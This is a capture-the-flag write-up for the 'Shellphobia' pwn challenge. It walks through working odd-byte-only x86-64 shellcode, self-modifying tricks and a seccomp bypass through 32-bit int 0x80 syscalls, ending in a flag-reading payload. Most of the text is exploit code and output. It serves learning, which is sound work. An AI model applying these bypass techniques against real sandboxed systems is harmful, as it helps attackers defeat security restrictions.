Shellphobia 500 Pwn

I know, I know everyone has their own fears. Check if you have Shellphobia or not? If so, overcome it :)

nc pwn.blitzhack.xyz 1337

Author: Kaiz0r

Team: Weak But Leet

Attachment: public.zip xpl.py

╠══════════════════════════════════════════════════════════════╣
║                                                              ║
║    ███████╗██╗  ██╗███████╗██╗     ██╗                       ║
║    ██╔════╝██║  ██║██╔════╝██║     ██║                       ║
║    ███████╗███████║█████╗  ██║     ██║                       ║
║    ╚════██║██╔══██║██╔══╝  ██║     ██║                       ║
║    ███████║██║  ██║███████╗███████╗███████╗                  ║
║    ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                  ║
║                                                              ║
║    ██████╗ ██╗  ██╗ ██████╗ ██████╗ ██╗ █████╗               ║
║    ██╔══██╗██║  ██║██╔═══██╗██╔══██╗██║██╔══██╗              ║
║    ██████╔╝███████║██║   ██║██████╔╝██║███████║              ║
║    ██╔═══╝ ██╔══██║██║   ██║██╔══██╗██║██╔══██║              ║
║    ██║     ██║  ██║╚██████╔╝██████╔╝██║██║  ██║              ║
║    ╚═╝     ╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝  ╚═╝              ║
║                                                              ║
╠══════════════════════════════════════════════════════════════╣
║                Fear the shell? Overcome it!                  ║
║             Can you execute your shellcode?                  ║
║                Give me your best shot!                       ║
╚══════════════════════════════════════════════════════════════╝

Enter your name: 

We’re allowed to enter a name and shellcode, which then gets executed. Sounds easy enough, but there were some obstacles hindering you from doing anything useful with it.

First, if any byte of the shellcode is even, the shellcode gets rejected. This reduces the useful opcodes we can use in our shellcode by a lot.

But even when getting around this, “some” seccomp rules are set up.

=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x1d 0x00 0x00000002  if (A == open) goto 0033
 0004: 0x15 0x1c 0x00 0x00000101  if (A == openat) goto 0033
 0005: 0x15 0x1b 0x00 0x000001b5  if (A == 0x1b5) goto 0033
 0006: 0x15 0x1a 0x00 0x00000055  if (A == creat) goto 0033
 0007: 0x15 0x19 0x00 0x00000000  if (A == read) goto 0033
 0008: 0x15 0x18 0x00 0x00000013  if (A == readv) goto 0033
 0009: 0x15 0x17 0x00 0x00000127  if (A == preadv) goto 0033
 0010: 0x15 0x16 0x00 0x00000147  if (A == preadv2) goto 0033
 0011: 0x15 0x15 0x00 0x00000011  if (A == pread64) goto 0033
 0012: 0x15 0x14 0x00 0x00000028  if (A == sendfile) goto 0033
 0013: 0x15 0x13 0x00 0x00000001  if (A == write) goto 0033
 0014: 0x15 0x12 0x00 0x00000012  if (A == pwrite64) goto 0033
 0015: 0x15 0x11 0x00 0x00000014  if (A == writev) goto 0033
 0016: 0x15 0x10 0x00 0x00000128  if (A == pwritev) goto 0033
 0017: 0x15 0x0f 0x00 0x00000148  if (A == pwritev2) goto 0033
 0018: 0x15 0x0e 0x00 0x0000003b  if (A == execve) goto 0033
 0019: 0x15 0x0d 0x00 0x00000142  if (A == execveat) goto 0033
 0020: 0x15 0x0c 0x00 0x0000000a  if (A == mprotect) goto 0033
 0021: 0x15 0x0b 0x00 0x00000015  if (A == access) goto 0033
 0022: 0x15 0x0a 0x00 0x00000020  if (A == dup) goto 0033
 0023: 0x15 0x09 0x00 0x00000021  if (A == dup2) goto 0033
 0024: 0x15 0x08 0x00 0x00000029  if (A == socket) goto 0033
 0025: 0x15 0x07 0x00 0x00000031  if (A == bind) goto 0033
 0026: 0x15 0x06 0x00 0x00000032  if (A == listen) goto 0033
 0027: 0x15 0x05 0x00 0x00000039  if (A == fork) goto 0033
 0028: 0x15 0x04 0x00 0x0000003a  if (A == vfork) goto 0033
 0029: 0x15 0x03 0x00 0x0000003d  if (A == wait4) goto 0033
 0030: 0x15 0x02 0x00 0x000000f7  if (A == waitid) goto 0033
 0031: 0x15 0x01 0x00 0x0000013d  if (A == seccomp) goto 0033
 0032: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0033: 0x06 0x00 0x00 0x00000000  return KILL

Yeah, this blocks almost every useful syscall to extract the flag (don’t even think of opening a shell)…

To get started, I created a script which generates a dictionary of opcodes we “can” use.

def create_allowed():
    context.arch = "amd64"
    with open("allowed.txt", "w") as f:            
        for ch1 in range(256):            
            if ch1 & 1 != 0 :
                try:
                    f.write(hex(ch1)+": \n")
                    payload = p8(ch1)
                    f.write(disasm(payload) + "\n")
                except:
                    pass

    with open("allowed2.txt", "w") as f:            
        for ch1 in range(256):            
            for ch2 in range(256):
                if ch1 & 1 != 0 and ch2 & 1 != 0:
                    try:
                        f.write(hex(ch1)+":"+hex(ch2)+"\n")
                        payload = p8(ch1) + p8(ch2)
                        f.write(disasm(payload) + "\n")
                    except:
                        pass

Quick and dirty, but enough to get some assembly together, which we can use as a toolkit to control all registers.

pop rbx
pop rcx
pop rdi
pop r9
push rcx
push rbx
push rdi
push r9
syscall
ret

xchg ecx, eax       # used to set rax
add ecx, 0x5        # can be used to calculate any value (just use odd values)
movsxd esi, ecx     # used to set rsi
movsxd edx, ecx     # used to set rdx
mov [rcx], esi      # write value to an address

With this, we should be able to control most of the needed registers to trigger syscalls, but most of them are still blocked…

Except if we resort to x86 system calls. In x86 read, open and write use different system numbers, which are not blocked by those seccomp rules, and there’s no rule which checks for amd64 architecture.

Thus, by using int 0x80 and putting our values into eax, ebx, ecx, edx, we can execute x86 syscalls.

The only problem with this is that we can only use 32-bit addresses and since PIE is active, we have no memory region available which we could access with a 32-bit address.

So the first thing we need to do is mmap a region at an address which fits into a 32-bit variable.

mmap(0x400000, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)

This boils down to

rax : 9            mmap syscall
rdi : 0x4000000    addr
rsi : 0x1000       len
rdx : 0x7          prot
r10 : 0x32         flags
r8  : 0xffffffff   fd
r9  : 0x0          offset

syscall

Setting rax is easy enough

xchg ecx, eax     // set ecx to 0
add ecx, 0x5
add ecx, 0x3
add ecx, 0x1
xchg ecx, eax     // sets eax to 9

For setting rdi, I used the fact that we can put some bytes on the stack via the initial name.

payload = p64(0x4000000)

r.sendline(payload)

...

// rdi = 0x4000000
pop rdi
pop rdi
pop rdi
pop rdi         // pop 0x4000000 from stack

For setting rsi, I calculated 0x1000 via add ecx, byte

// rsi = 0x1000
push rbx
pop rcx
add ecx, 0x7f
add ecx, 0x7f
add ecx, 0x7f
add ecx, 0x7f
...
add ecx, 0x7f
add ecx, 0x1f
add ecx, 1       // ecx = 0x1000
movsxd esi, ecx  // esi = 0x1000

Setting rdx

// edx = 0x7
push rbx
pop rcx
add ecx, 5
add ecx, 1
add ecx, 1
movsxd esi, ecx

So far so good, but r10 is still missing and no opcode is in sight to manipulate it.

But we can put stuff on the stack without any restrictions in our name.

context.arch = "amd64"

SC2 = """
    push 0x32
    pop r10
"""

...

payload = p64(0x4000000)
payload += asm(SC2).ljust(0x10, b"\x00")

...

With this, we have the assembly for setting r10 on the stack. We can now use the following opcodes to fetch the opcodes from the stack and write them to the start of our shellcode.

// overwrite start of shellcode with push 0x32; pop r10
pop rcx             // contains the opcode for push 0x32, pop r10
movsxd esi, ecx     // esi = push 0x32, r10
push r13            // r13 = start of shellcode
pop rcx             // rcx = start of shellcode
mov [rcx], esi      // write push 0x32, pop r10 to start of shellcode

Now I changed the start of my shellcode to

jmp start        
pop rcx             # padding
pop rcx             # padding
syscall

...

start:

Thus, when the shellcode starts, it will jump to the initial start. We can then overwrite jmp start; pop rcx; pop rcx with push 0x32; pop r10, changing the start of shellcode to:

push 0x32
pop r10
syscall

To execute the modified shellcode later on, we can just use

push r13    // r13 = address of shellcode
ret

to return to the beginning of our shellcode.

With this, we can now do the mmap syscall and have a region which is accessible via a 32-bit address.

But to trigger an x86 syscall we need to do int 0x80… which is also not allowed since 0x80 is even.

So… I used the rewrite trick again to write it to the start of the shellcode.

SC3 = """
int 0x80 
jmp rcx   
"""

payload = p64(0x4000000)
payload += asm(SC2).ljust(0x10, b"\x00")
payload += asm(SC3)

...

We’ll use this int 0x80 to read a final shellcode into the mmapped region and then just jump into it (we’ll set rcx to the address of it before jumping back to the start).

jmp start        
pop rcx           # padding for later overwrite
pop rcx
syscall

// now we got a rwx section at 0x4000000
pop r9
pop rcx           # ecx = int 0x80
movsxd esi, ecx   # esi = int 0x80
push r13
pop rcx           # rcx = start of shellcode
mov [rcx], esi    # write int 0x80; jmp rcx to start of shellcode

// x86 read(0, 0x4000000, 0x71)
push rbx
pop rcx           # rcx = 0
add ecx, 3        # rcx = 3
movsxd eax, ecx   # eax = 3 (read syscall)
push rbx
pop rcx
add ecx, 0x71     # rcx = 0x71
movsxd edx, ecx   # edx = 0x71
push rdi
pop rcx           # ecx = 0x4000000
push r13          # return to int 0x80 at start of shellcode
ret
...

This will then do a read(0, 0x4000000, 0x71), which we can now use to write our final shellcode (which doesn’t have any restrictions anymore) into our mmapped region.

SCFINAL = """
// fd = open("flag", 0, 0)
xor rax, rax
mov al, 5
mov rbx, 0x4000040
xor rcx, rcx
xor rdx, rdx
int 0x80

// read(fd, flag, 200)
xchg rbx, rax
xchg rcx, rax
mov al, 3
mov dl, 200
int 0x80

// write(1, flag, 200)
mov al, 4
xor rbx, rbx
mov bl, 1
int 0x80
"""

...
    
payload = asm(SCFINAL)
payload = payload.ljust(0x40, b"\x00")
payload += b"./flag\x00"

r.send(payload)

The final jmp rcx will then execute our x86 ropchain and open/read/write the flag:

python3 xpl.py 1
[+] Opening connection to pwn.blitzhack.xyz on port 1337: Done
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
Shellcode length: 214 bytes
Executing your shellcode...
Blitz{0v3rc0m3_y0ur_sh3llph0b14_w1th_0dd_byt3_sh3llc0d3_4nd_s3cc0mp_byp4ss_n0_m0r3_f34r_0f_sh3lls}